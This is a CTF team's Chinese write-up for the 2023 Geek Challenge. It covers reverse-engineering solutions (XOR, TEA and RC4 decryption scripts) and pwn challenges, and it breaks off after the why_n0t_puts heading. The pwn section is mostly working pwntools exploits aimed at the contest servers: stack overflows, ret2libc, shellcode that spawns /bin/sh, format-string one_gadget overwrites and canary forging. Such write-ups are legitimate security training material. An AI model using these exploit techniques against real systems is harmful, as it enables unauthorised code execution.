2023极客大挑战-AGRT战队wp

Shiftjmp

点击就送的逆向题

幸运数字

编辑

砍树

小黄鸭

flower-or-tea

mySelf

是男人就来扎针

听说cpp很难？

Easymath

寻找初音未来

Rainbow

浪漫至死不渝

ezandroid

Pwn

nc_pwntools

password

ret2text

write1

ret2libc

ezpwn

write2

fmt1.0

white_canary

why_n0t_puts

EVA

fmt2.0

fmt3.0

CRYPTO

ext^7gcd

EzComplex

card_game

Energetic_Carcano

编辑

JPGDiff

Simple3DES

Fi1nd_th3_x'

Diligent_Liszt

proof_of_work

SimpleRSA

OTPTwice

OldAlgorithm

easy_classic

PolyRSA

Just need one

WEB

unsign

EzHttp

n00b_Upload

easy_php

ctf_curl

flag保卫战

klf_ssti

ez_remove

ez_path

you konw flask?

Pupyy_rce

famale_imp_l0ve

雨

ez_php

scan_tool

klf_2

EzRce

ezpython

change_it

ezrfi

Akane!

klf_3

ez_sql

MISC

下一站是哪呢

窃听风云

extractMe

ez_smilemo

DEATH_N0TE

Qingwan心都要碎了

xqr

DEATH_N1TE

give_me_Goerlieth

SimpleConnect

DEATH-N2TE

stage

RE

Shiftjmp

花指令

0x117A+1地址改为90（nop）去除花指令

找到加密函数

写出解密脚本

a = "SXAxS6jd8doTxBQ{x\"Ma\'csE-|El,o/{^\\"
for i in range(len(a)):print(chr(ord(a[i]) ^ i), end="")

运行得flag：SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}

点击就送的逆向题

文件为.s后缀文件看起来比较麻烦，直接用gcc编译成可执行文件

编写解密脚本

a = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"for i in a:print(chr(ord(i) - 7 ), end="")

flag：SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

幸运数字

算法简单懒得分析了直接爆破

a0 = [13, 7, 29, 37, 29, 110, 48, 57, 44, 63, 42, 43, 50, 63, 42, 55, 110, 48, 48, 48, 48, 45, 1, 7, 49, 43, 1, 57, 31,59, 45, 45, 27, 58, 1, 12]a1 = "o96*#"for i in a1:a0.append(ord(i))flag = []for i in range(221):flag = ""for j in a0:flag += (chr(j ^ i))if flag[:3] == "SYC":print(flag)

得到flagSYC{C0ngratulati0nnnns_You_gAessEd_R1ght}

砍树

Apk逆向

可以看到找不到这个关键函数I0o0I改一下后缀解压去lib里找找

找到加密函数

a = [0, 32, 32, 23, 27, 54, 14, 54, 38, 23, 4, 42, 41, 7, 38, 21, 82, 51, 45, 15, 58, 39, 17, 6, 51, 7, 70, 23, 61, 10, 60, 56, 46, 34, 24]
key = "Sycloverforerver"
for i in range(len(a)):print(chr(a[i] ^ ord(key[i % 7])), end="")

flag：SYC{t@ke_thE_bul1_By_the_h0rns_TAT}‘

小黄鸭

好多py开头的判断是py转的exe

得到1.pyc

用python的uncompyle6工具反编译为py得到代码

根据代码写出脚本

def upper(num):num = num % 26while 1:if 'A' <= chr(num) <= 'Z':return chr(num)else:num = num + 26def lower(num):num = num % 26while 1:if 'a' <= chr(num) <= 'z':return chr(num)else:num = num + 26arr = '~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH'
arr1 = ""
arr2 = ""
for i in arr:arr1 += chr(ord(i) - 2)
for i in arr:arr2 += chr(ord(i) - 1)
arr = list(arr)b = []
for i in range(len(arr)):if (arr1[i]).isalpha():c = arr1[i]if 'A' <= c <= 'Z':b.append(upper(ord(c) + 13))elif 'a' <= c <= 'z':b.append(lower(ord(c) + 13))continueb.append(arr2[i])
for i in range(len(b)-1, -1, -1):print(b[i], end="")

运行得flag（应该是“{”和“m”在解密中都符合题目中得条件，代码优先取了m改成“{”就得到flag）

Flag：SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}

flower-or-tea

nop掉花指令，明显的tea，写exp如下

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>
#include <winsock2.h>int __cdecl run_tea(unsigned int a1, unsigned int *a2, int *a3)
{int result; // eaxunsigned int i; // [esp+8h] [ebp-10h]unsigned int v5; // [esp+Ch] [ebp-Ch]unsigned int v6; // [esp+10h] [ebp-8h]unsigned int v7; // [esp+14h] [ebp-4h]v6 = *a2;v5 = a2[1];v7 = 0;for ( i = 0; i < a1; ++i ){v5 += v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));v6 += (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));v7 += 826366247;}*a2 = v6;result = 4;a2[1] = v5;return result;
}
int __cdecl dec_tea(unsigned int a1, unsigned int *a2, int *a3)
{int result; // eaxunsigned int i; // [esp+8h] [ebp-10h]unsigned int v5; // [esp+Ch] [ebp-Ch]unsigned int v6; // [esp+10h] [ebp-8h]unsigned int v7; // [esp+14h] [ebp-4h]v6 = *a2;v5 = a2[1];v7 = 0;for (int j = 0; j < a1; ++j) {v7 += 826366247;}for ( i = 0; i < a1; ++i ){v7 -= 826366247;v6 -= (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));v5 -= v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));}*a2 = v6;result = 4;a2[1] = v5;return result;
}
int run() {int v13[40]; // [esp+CCh] [ebp-E4h]int v14[4];v14[0] = 32;v14[1] = 27;v14[2] = 39;v14[3] = 44;v13[0] = -1694939573;v13[1] = -1005078370;v13[2] = -1307072749;v13[3] = -918836760;v13[4] = -1795955634;v13[5] = -1244910923;v13[6] = 1146217516;v13[7] = 2055874714;v13[8] = 1405669384;v13[9] = 1846639433;v13[10] = -1677731948;v13[11] = 1593781753;v13[12] = 401024305;v13[13] = -541222535;v13[14] = -1886971078;v13[15] = 1944634796;v13[16] = -1299812186;v13[17] = 1526113129;v13[18] = 754440740;v13[19] = 880502447;v13[20] = -1178055328;v13[21] = -1860267729;v13[22] = -1118163045;v13[23] = -879332550;v13[24] = -979801922;v13[25] = -1610607639;v13[26] = -1053864284;v13[27] = -561628656;v13[28] = -1597713004;v13[29] = 1132501052;v13[30] = 2117039688;v13[31] = -447882103;v13[32] = 1059563152;v13[33] = -1249037927;v13[34] = 1615521047;v13[35] = -1668269692;v13[36] = -186628991;v13[37] = 1022684671;v13[38] = 0;v13[39] = 0;int v15[2];char flag[39];for (int i = 0; i < 0x26 / 2; ++i ){v15[0] = v13[2 * i];v15[1] = v13[2 * i + 1];dec_tea( 54, (unsigned int *)&v15, v14);flag[i] = (char)v15[0];flag[0x26 - i - 1] = (char)v15[1];}printf("%s", flag);return 0;
}int main() {
//    test();run();
//    main_def();return 0;
}

mySelf

动调进tea加密，写exp直接出

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>unsigned int __cdecl sub_DD13B0(unsigned int *a1)
{int v1; // ebxint v2; // ediunsigned int v3; // esiint v4; // ebxunsigned int result; // eaxunsigned int *v6; // [esp+Ch] [ebp-Ch]unsigned int *v7; // [esp+10h] [ebp-8h]int v8; // [esp+14h] [ebp-4h]v1 = 0;v8 = 0;do{v2 = 0;v3 = a1[v1];v7 = &a1[v1];v6 = &a1[v1 + 1];v4 = 32;int index = 32;result = *v6;do{v2-=1640531527;index--;}while ( index );do{result -= ((v3 >> 5) + 4) ^ (16 * v3 + 3) ^ (v2 + v3);v3 -= ((result >> 5) + 2) ^ (16 * result + 2) ^ (v2 + result);v2 += 1640531527;--v4;}while ( v4 );v8 += 2;v1 = v8;*v7 = v3;*v6 = result;}while ( v8 < 8 );return result;
}
unsigned char enc_data[] ={240, 249, 189, 189, 196, 148,  97, 226,  37, 145,121, 128,  25, 194,  15,  31,  21,  24, 106, 235,197, 114, 245, 132, 133,  58, 204,  64, 187,  42,163, 210,0};
int run() {sub_DD13B0((unsigned int*)enc_data);printf("%s", enc_data);return 0;
}int main() {
//    test();run();
//    main_def();return 0;
}

是男人就来扎针

Exp:简单C#，直接patch掉针的命中就行

加个flag头就ok了

听说cpp很难？

题太多了，说不动了，直接贴exp吧

逻辑是每位((a+10)^10) -10

aaa=[0]*33
aaa[0] = 0x4D;
aaa[1] = 0x5F;
aaa[2] = 0x3D;
aaa[3] = 0xFFFFFF85;
aaa[4] = 0x37;
aaa[5] = 0x68;
aaa[6] = 0x73;
aaa[7] = 0x57;
aaa[8] = 0x27;
aaa[9] = 0x68;
aaa[10] = 0x51;
aaa[11] = 0x59;
aaa[12] = 0x7F;
aaa[13] = 0x26;
aaa[14] = 0x6B;
aaa[15] = 0x59;
aaa[16] = 0x73;
aaa[17] = 0x57;
aaa[18] = 0x55;
aaa[19] = 0x5B;
aaa[20] = 0x59;
aaa[21] = 0x6F;
aaa[22] = 0x6A;
aaa[23] = 0x59;
aaa[24] = 0x27;
aaa[25] = 0x57;
aaa[26] = 0x72;
aaa[27] = 0x57;
aaa[28] = 0x4F;
aaa[29] = 0x57;
aaa[30] = 0x78;
aaa[31] = 0x78;
aaa[32] = 0xFFFFFF83;a = [c&0xff for c in aaa]
a=[c+10 for c in a]
a=[c^10 for c in a]
flag=[c-10 for c in a]#SYC{Anma1nG_y0u_maKe_it_1alaIa~~}

Easymath

from z3 import *s=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 19, 22, 26, 27, 28, 29, 31, 32, 50, 51, 52, 53, 54, 55]
table='01234_asdzxcpoityumnbAOZWXGMY'
matrix=[0x00000012, 0x0000001D, 0x00000010, 0x00000013, 0x0000001B, 0x00000008, 0x0000001F, 0x00000008, 0x00000017, 0x0000001E, 0x0000001D, 0x00000003, 0x0000001C, 0x0000000A, 0x00000015, 0x00000012, 0x0000001D, 0x00000008, 0x00000010, 0x0000001C, 0x0000000B, 0x0000001E, 0x00000007, 0x00000014, 0x00000007 ]last = [BitVec('a%i'%i,32) for i in range(25)]
sol = Solver()v7=[0]*25for i in range(5):for j in range(5):v7[5*i+j] == 0for k in range(5):v7[5 * i + j] =( v7[5 * i + j]+ last[5 * i + k] * matrix[5 * k + j]) & 0x1Fsol.add(Not(And(i==j,  v7[5 * i + j] != 1)))sol.add(Not(And(i != j , v7[5 * i + j]!=0 )))print sol.check()t=[11,19,9,5,12,14,6,22,27,16,26,28,29,29,11,4,31,22,13,8,27,29,10,16,16]for i in range(len(t)):print table[s.index(t[i])],

#SYC{xtd4co_ymiunbbx3Aypsmbzii}

寻找初音未来

据输入的色号修改后面rc4的key的，初音未来色是39C5BB

第1次输入是39C5BB

第2次输入32*'a'

在比较处下断点，rc4解密

a=[0x25, 0x6F, 0x3D, 0x6C, 0xF9, 0xE0, 0xCF, 0x3F, 0x2E, 0x24, 0xC6, 0x7B, 0x81, 0xBF, 0x55, 0x4F, 0x0D, 0x99, 0x87, 0x47, 0x48, 0xF7, 0xB9, 0x98, 0xFB, 0x1B, 0x22, 0xEC, 0x84, 0x23, 0xFD, 0xB2]
b=[ 0x17, 0x57, 0x1F, 0x76, 0xD6, 0xB1, 0xDA, 0x36, 0x26, 0x2B, 0xC0, 0x45, 0xD1, 0xAD, 0x6B, 0x5D,     0x29, 0x8A, 0x8F, 0x69, 0x5C, 0xE5, 0x87, 0xBB, 0xEF, 0x0E, 0x1C, 0xC0, 0xAC, 0x29, 0xE9, 0xAE]
pt = [ord('a')]*32flag=''
for i in range(32):flag += chr(a[i]^b[i]^pt[i])
print(flag)

#SYC{N0thing_1s_sEriOus_But_MIku}

Rainbow

from libnum import *
v = [0]*4
v[0] = 0x627B44508E415865
v[1] = 0x847D6C49547E4A57
v[2] = 0x4877646060955B4F
v[3] = 0x622D3C689F7B4D7Dfrom libnum import *
s = b''for  c in v:s += n2s(c)[::-1]
s = s.decode('latin-1')s=[ord(c) for c in s]for i in range(32):s[i] ^= ifor i in range(32):if i%3==0:s[i] -= 18print(''.join(map(chr,s)))

#SYC{TAke_1t_3asy_Just_a_STart!!}

浪漫至死不渝

在文件夹里找到index.js

在代码中找到decryptRailFence函数调用的地方,分析可知,该函数的参数固定,TEXT1可以直接跑出来

继续分析,Text1是异或的密钥,TEXT1用在线js运行工具跑出来,得到异或的密钥:5201314WXHN

function decryptRailFence(cipherText, ooo0oooo) {const fence = new Array(ooo0oooo);for (let i = 0; i < ooo0oooo; i++) {fence[i] = new Array(cipherText.length).fill('.');}let row = 0;let oooo0o0o0 = 1;for (let i = 0; i < cipherText.length; i++) {if (row === 0) {oooo0o0o0 = 1;} else if (row === ooo0oooo - 1) {oooo0o0o0 = -1;}fence[row][i] = '*';row += oooo0o0o0;}let index = 0;for (let i = 0; i < ooo0oooo; i++) {for (let j = 0; j < cipherText.length; j++) {if (fence[i][j] === '*') {fence[i][j] = cipherText[index++];}}}let oooOOOOO0000O0O0O0 = '';row = 0;oooo0o0o0 = 1;for (let i = 0; i < cipherText.length; i++) {oooOOOOO0000O0O0O0 += fence[row][i];if (row === 0) {oooo0o0o0 = 1;} else if (row === ooo0oooo - 1) {oooo0o0o0 = -1;}row += oooo0o0o0;}return oooOOOOO0000O0O0O0;
}
const ooo0oooo = 3;
const key = '53X211WH04N';
const Text1 = decryptRailFence(key, ooo0oooo);
console.log(Text1)
//5201314WXHN

ezandroid

找到MainActivity

分析可知,sb2,sb3分别对应输入的奇偶下标对应值

跟踪sb2

sb2转换成string类型sb4,sb4转换成bytes类型bytes,继续跟踪bytes

这里按位运算,实质上是bytes数组转换成了int数组iArr

继续跟踪iArr

简单的tea加密和逆变换到bytes类型

sb2分析到这结束,继续分析sb3

同样先转换成sb5,跟踪sb5,到MainActivity2

发现就是一个异或加密

exp:

from z3 import * 
from ctypes import * 
enc = [-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80] 
S = Solver() 
j = 0 
X = [BitVec('x%s'%i,32)for i in range(3)] 
for i in range(3): S.add(enc[j+3]==(X[i]&255)) S.add(enc[j+2]==((X[i]>>8)&255)) S.add(enc[j+1]==((X[i]>>16)&255)) S.add(enc[j]==((X[i]>>24)&255)) j += 4 
if S.check() == sat: m = S.model() for i in range(len(X)): print(m[X[i]],end=',') 
iArr = [2784531145,3477828365,3029296720] 
# #include <stdio.h> 
# #include <windows.h> 
# unsigned int k[]= {2784531145,3477828365,3029296720}; 
# int iArr[3]; 
# int iArr2[] = {2023708229, -158607964, -2120859654, 1167043672}; # int main() 
# { 
#     for(int i=0;i<3;i++){ 
#     iArr[i] = (int)k[i]; 
# } 
#     int i9 = iArr[0]; 
#     int i10 = iArr[2]; 
#     int i11 = iArr[1]; 
#     int i12 = iArr2[0]; 
#     int i13 = iArr2[1]; 
#     int i14 = iArr2[2]; 
#     int i15 = iArr2[3]; 
#     int i16 = -1640531527*64; 
#     for (int i18 = 0; i18 < 32; i18++) { 
#         i10 -= (((i11 << 4) + i14) ^ (i11 + i16)) ^ ((i11 >> 5) + i15); 
#         i11 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13); 
#         i16 += 1640531527; 
#     } 
#     for (int i17 = 0; i17 < 32; i17++) { 
#         i10 -= (((i9 << 4) + i14) ^ (i9 + i16)) ^ ((i9 >> 5) + i15); 
#         i9 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13); 
#         i16 += 1640531527; 
#     } 
#     iArr[0] = i9; 
#     iArr[1] = i10; 
#     iArr[2] = i11; 
#     printf("%d,%d,%d",iArr[0],iArr[1],iArr[2]); 
#     system("pause"); 
#     return 0; # } 
#after teaDecode 
iArr = [1412454004,859001966,812217458] 
print() 
plaintext = [] 
f = "012345678901234567890" 
for i in range(len(iArr)): if iArr[i] < 0: iArr[i] = 2**32 + iArr[i] b = bin(iArr[i])[2:].rjust(32,'0') for i in range(0,32,8): c = b[i:i+8] str = chr(int(c,2)) plaintext.append(str) 
print(plaintext)#偶 
# #include <stdio.h> 
# #include <windows.h> # int main() 
# { 
#     char iArr[] = {-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9}; 
#     char enc[] = {-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80}; 
#     char plaintext2[12]; 
#     for(int i=0;i<12;i++)plaintext2[i] = (char)iArr[i]^enc[i]; 
#     for(int i=0;i<12;i++)printf("%c,",plaintext2[i]); 
#     system("pause"); 
#     return 0; 
# } 
plaintext2= ['0','n','3','D','F','4','i','t','v','c','0','Y']#奇 
flag = '' 
for i in range(len(plaintext)): flag += plaintext[i] flag += plaintext2[i] 
print(flag) 
#flag:SYC{T00nV3tD3F34Tint0vict0rY}

#flag:SYC{T00nV3tD3F34Tint0vict0rY}

Pwn

nc_pwntools

按照要求输入即可完成

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def bug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')p = process('./chal')#p = remote('pwn.node.game.sycsec.com', 30060)#elf = ELF('./chal')#libc=ELF("/glibc-all-in-one/libs/2.34-0ubuntu3.2_amd64/libc.so.6")#libc = ELF('./libc-2.31.so')rl("should in the end")rl("\n")pay=b'a'*(92)+b'\x53\x79\x63\x6c\x6f\x76\x65\x72's(pay)rl("2.This challenge is harder than first one\n")c=rl("=?")[:-2]s=c.decode()print(s)print(str(eval(s)))sl(str(eval(s)))inter()

password

dev/urandom多次打开可能会报0,这里利用这个特点进行爆破

from pwn import *#context.log_level="debug"for i in range(200):try:io=remote("pwn.node.game.sycsec.com",31428)#io=process("./password")#gdb.attach(io)#pause()#print('----------------')print(i)io.recvuntil("please enter user name:")io.send(b"a"*0x28+p64(0x4012f3))io.recvuntil("please enter password:")io.sendline(b"\x00"*0x8)text=io.recvuntil(b"password!").decode()if "Correct" in text:print('*************')flag=1io.interactive()print(text)io.close()     except:io.close()if flag==1:print("&&&&&&&&&&&&")

ret2text

把返回地址改一个字节就可以覆盖返回地址为后门地址

from pwn import *li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./pwn&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31296)
#elf = ELF(&apos;./pwn&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)rl("The simplest but not too simple pwn\n")
pay=b&apos;a&apos;*(0x58)+b&apos;\x27&apos;
s(pay)inter()inter()

write1

看逻辑，按照要求整就完事了

from pwn import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal1&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31387)
#elf = ELF(&apos;./chal1&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)sl(b&apos;a&apos;)rl("index:")
sl(str(40))rl("value:")
sl(b"d8")rl("index:")
#bug()
sl(str(41))
rl("value:")
sl(b"ff")rl("index:")
#bug()
sl(str(-1))
inter()

ret2libc

ret2csu题目，控制rdx，泄露·libc打ret2libc

from pwn import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal2&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 30607)
elf = ELF(&apos;./chal2&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF(&apos;./libc.so.6&apos;)rdi=0x0000000000401333
rsi_r15=0x0000000000401331rl("This challenge no backdoor!")
pay=b&apos;\x00&apos;*(0x10+8)+p64(0x40132A)+p64(0)+p64(1)+p64(1)+p64(elf.got[&apos;write&apos;])+p64(6)+p64(elf.got[&apos;write&apos;])+p64(0x401310)+p64(0)*7+p64(0x4011FD)
#bug()
sl(pay)libc_base=get_addr()-libc.sym[&apos;write&apos;]
li(hex(libc_base))system,bin=get_sb()rl("This challenge no backdoor!")
pay=b&apos;\x00&apos;*(0x10+8)+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
#bug()
sl(pay)inter()

ezpwn

先写入一个read的shellcode，写到rsi里，就能让程序执行shellcode

from pwn import *li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def bug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('pwn.node.game.sycsec.com', 31479)#elf = ELF('./pwn')#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#libc = ELF('./libc-2.31.so')pay=b'\x90'*8+asm(shellcraft.read(0,"rsi",0xff))#bug()s(pay)pause()pay=b'\x90'*0x40+asm(shellcraft.sh())s(pay)inter()

write2

按照要求完成即可

from pwn import *li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal3&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 30672)
#elf = ELF(&apos;./chal3&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)#pay=asm(&apos;&apos;&apos;
#jmp rsp#&apos;&apos;&apos;)
#for i in range(len(pay)):
# print(hex(pay[i]),end=&apos;,&apos;)
a=[0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x56,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5]
b=[0xff,0xe4]
&apos;&apos;&apos;
sl(b&apos;a&apos;)pay=asm(shellcraft.sh())
for i in range(len(pay)):
print(hex(pay[i]),end=&apos;,&apos;)
&apos;&apos;&apos;
def add(i,v):
rl("index:\n")
sl(str(i))
rl("value:")
sl(v)sl(b&apos;a&apos;)
rl("index_addr:")
stack=hex(int(p.recv(14),16)+4)[2:14]
print(stack)
print(stack[0]+stack[1])
k=0
for i in range(6):
add(45-i,stack[k]+stack[k+1])
k=k+2
for i in range(len(b)):
e=hex(b[i])[2:]
add(i,e)for i in range(len(a)):
e=hex(a[i])[2:]
add(48+i,e)rl("index:\n")
sl(str(-1))
#bug()
inter()inter()

fmt1.0

修改返回地址为one_gadget即可

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def bug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./fmt')p = remote('pwn.node.game.sycsec.com', 30864)elf = ELF('./fmt')#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")libc = ELF('./libc.so.6')rl("Please enter your username: \n")pay=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(0x4010F0)#bug()s(pay)libc_base=get_addr()-libc.sym['read']li(hex(libc_base))one_gad=libc_base+0xe3b01rl("Please enter your username: \n")pay=(b'%7$paaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(one_gad)s(pay)inter()

white_canary

按照它的算法，还原canary即可，然后orw读flag

from pwn import *
from ctypes import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal4&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31922)
#elf = ELF(&apos;./chal4&apos;)
libc = cdll.LoadLibrary(&apos;./libc.so.6&apos;)
srand=libc.srand(libc.time(0)%60)
v2 = libc.rand()
v3= libc.rand()
can=(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
print(can)
canary=(hex(can)[:13:-1])[::-1]
canary=int(canary,16)
print(hex(canary))payload=asm(shellcraft.open("flag"))
payload+=asm(shellcraft.read(3,0x4040A0+0x200,0x50))
payload+=asm(shellcraft.write(1,0x4040A0+0x200,0x50))rl("Please enter your name:\n")
sl(payload)rl("tell me something:")
pay=b&apos;a&apos;*(0x8)+p64(canary)*2+p64(0x4040E0)sl(pay)inter()

why_n0t_puts

ret2dlresolve板子题

